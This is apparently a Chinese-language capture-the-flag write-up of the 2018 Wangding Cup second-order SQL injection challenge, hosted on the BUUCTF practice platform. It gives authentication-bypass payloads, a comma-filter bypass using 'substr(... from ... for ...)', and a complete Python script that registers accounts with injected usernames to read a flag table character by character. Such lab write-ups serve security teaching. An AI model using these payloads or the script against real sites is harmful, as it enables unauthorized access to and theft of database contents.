网络安全--网鼎杯2018漏洞复现(二次注入)

一、环境:在线测试平台

BUUCTF在线评测 (buuoj.cn)

二、进入界面先尝试万能账号

复制代码
1'or'1'='1'#

换格式 hais1bux1

复制代码
1@1'or'1'='1'#

三、万能的不行那我们就得想注册了,去register.php去看看

注册个账号

发现用户名回显,猜测考点为用户名处二次注入,再次注册

很明显是有的

三、如何解决?

在mysql中我们熟知一点是,+可以当做运算符 ,比如我们执行

复制代码
select '1'+'2a'

返回值为空

复制代码
select '0'+database();

当我们用ASCII值来计算时,此时出现库第一位s的ASCII码值

复制代码
select '0'+ascii(substr(database(),1,1));

因为题目中过滤掉了逗号,因此用from for来代替

复制代码
0'+ascii(substr(database() from 1 for 1))+'0;

成功回显,因为过滤了information,只能猜字段名为flag,所以去用python脚本爬

脚本如下:

复制代码
# -*- coding:utf-8 -*-
"""
@Author: lingchenwudiandexing
@contact: 3131579667@qq.com
@Time: 2024/2/19 1:04
@version: 1.0
"""
import requests
import logging
import re
from time import sleep

# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)

def search():
    flag = ''
    url = 'http://19f46d59-6746-4dce-84c1-73a67354f6d1.node5.buuoj.cn/'
    url1 = url+'register.php'
    url2 = url+'login.php'
    for i in range(100):
        sleep(0.3)#不加sleep就429了QAQ
        data1 = {"email" : "1234{}@123.com".format(i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password" : "123"}
        data2 = {"email" : "1234{}@123.com".format(i), "password" : "123"}
        r1 = requests.post(url1, data=data1)
        r2 = requests.post(url2, data=data2)
        res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r2.text)
        res1 = re.search(r'\d+', res.group())
        flag = flag+chr(int(res1.group()))
        print(flag)
    print("final:"+flag)

if __name__ == '__main__':
    search()

四、最终答案:

相关推荐
启雀AI1 小时前
生物医疗行业如何建设合规、安全、可复用的知识库?
人工智能·安全·软件构建·知识图谱·知识库
Sirius Wu2 小时前
OpenClaw Skill:Matplotlib 可视化技能 + 沙箱双层隔离完整详解
服务器·网络·人工智能·安全·ai·架构·aigc
冬奇Lab2 小时前
每日一个开源项目(第160篇):Destructive Command Guard - 在 AI Agent 运行 rm -rf 之前拦截它
人工智能·安全·开源
ChainSafeAI0023 小时前
Summer.fi 遭600万美元漏洞攻击,安全警报拉响
安全
一勺菠萝丶6 小时前
生产环境平滑升级实战-Nginx维护页数据库迁移与安全回滚
数据库·nginx·安全
味悲7 小时前
搭建WAF+宝塔反向代理
安全
BenSmith8 小时前
RTOS漏洞分析:CVE-2026-10641和CVE-2026-9263
安全
happyness448 小时前
AI重构实战案例:安全地将旧系统中大量基于 Thread 和同步阻塞的硬件通信代码,重构为现代的 async/await Task 异步架构
人工智能·安全·重构
Dola_Zou9 小时前
以CmASIC重塑AI+边缘设备的安全与商业复利
人工智能·安全·软件工程·软件加密
小小小小钰儿10 小时前
网络安全名词术语!
安全·web安全·计算机·网络安全·黑客·编程